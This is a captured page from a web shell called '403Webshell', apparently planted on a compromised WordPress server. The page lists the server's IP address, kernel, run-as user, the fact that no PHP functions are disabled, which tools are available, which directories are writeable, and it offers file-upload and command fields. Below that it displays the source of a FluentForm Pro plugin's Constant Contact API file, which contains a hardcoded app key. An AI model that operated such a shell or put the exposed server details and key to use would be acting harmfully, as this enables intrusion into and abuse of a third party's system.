403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluentformpro/src/Integrations/ConstantContact/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluentformpro/src/Integrations/ConstantContact/API.php
<?php

namespace FluentFormPro\Integrations\ConstantContact;

if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly.
}

use FluentForm\Framework\Helpers\ArrayHelper;

class API
{
    /**
     * Base Constant Contact API URL.
     *
     * @since  1.0
     * @var    string
     * @access protected
     */
    
    protected $api_url = 'https://api.constantcontact.com/v2/';
    protected $appKey = '4jzkpvcfcevnqu72kazejm66';
 
    /**
     * Constant Contact authentication data.
     *
     * @since  1.0
     * @access protected
     * @var    array $access_token Constant Contact authentication data.
     */
    protected $access_token = null;

    /**
     * Initialize Slack API library.
     *
     * @since  1.0
     *
     * @param  array $access_token Authentication token data.
     */
    public function __construct( $access_token = null ) {

        if(defined('FF_CC_APP_KEY')) {
            $this->appKey = FF_CC_APP_KEY;
        }
        $this->access_token = $access_token;

    }

    // To get the authorization url for authorization code
    public function makeAuthorizationUrl()
    {
        return $url = 'https://api.constantcontact.com/mashery/account/'. $this->appKey ;
    }

    public function auth_test()
    {
       return $account = $this->make_request('account/info', [], 'GET');
    }


    private function getApiUrl($resource)
    {
        $parameters = [];
        if ($resource =='contacts') {
            $actionName = 'ACTION_BY_OWNER';
            $actionName = apply_filters_deprecated(
                'ff_integration_constantcontact_action_by',
                [
                    $actionName
                ],
                FLUENTFORM_FRAMEWORK_UPGRADE,
                'fluentform/integration_constantcontact_action_by',
                'Use fluentform/integration_constantcontact_action_by instead of ff_integration_constantcontact_action_by.'
            );
            $parameters['action_by'] = apply_filters('fluentform/integration_constantcontact_action_by', $actionName);
        }
     
        $parameters['api_key']   = $this->appKey;
        
        $paramString = http_build_query($parameters);

        return $this->api_url . $resource . '?' . $paramString;
    }

    public function make_request($resource, $data, $method = 'GET')
    {
        $requestApi = $this->getApiUrl($resource, $data);
        
        $args =  array(
            'headers' => array(
                'Accept'        => 'application/json',
                'Content-Type'  => 'application/json',
                'Authorization' => 'Bearer'. ' ' .  $this->access_token
            ),
            'body'    => json_encode($data)
        );

       
        if ($method == 'GET') {
            unset($args['body']);
            $response = wp_remote_get($requestApi, $args);
        } else if ($method == 'POST') {
            $args['headers']['action_by'] = 'ACTION_BY_OWNER';
            $response = wp_remote_post($requestApi, $args);
        } else {
            return (new \WP_Error(423, 'Request method could not be found'));
        }

        /* If WP_Error, die. Otherwise, return decoded JSON. */
        if (is_wp_error($response)) {
            return (new \WP_Error(423, $response->get_error_message()));
        }

        return json_decode($response['body'], true);
    }
    
    public function get_lists(){
        return $this->make_request('lists', [], 'GET');
    }
    
    public function subscribeToList($data){
        return $this->make_request('contacts', $data, 'POST');
    }
    
    

}

Youez - 2016 - github.com/yon3zu
LinuXploit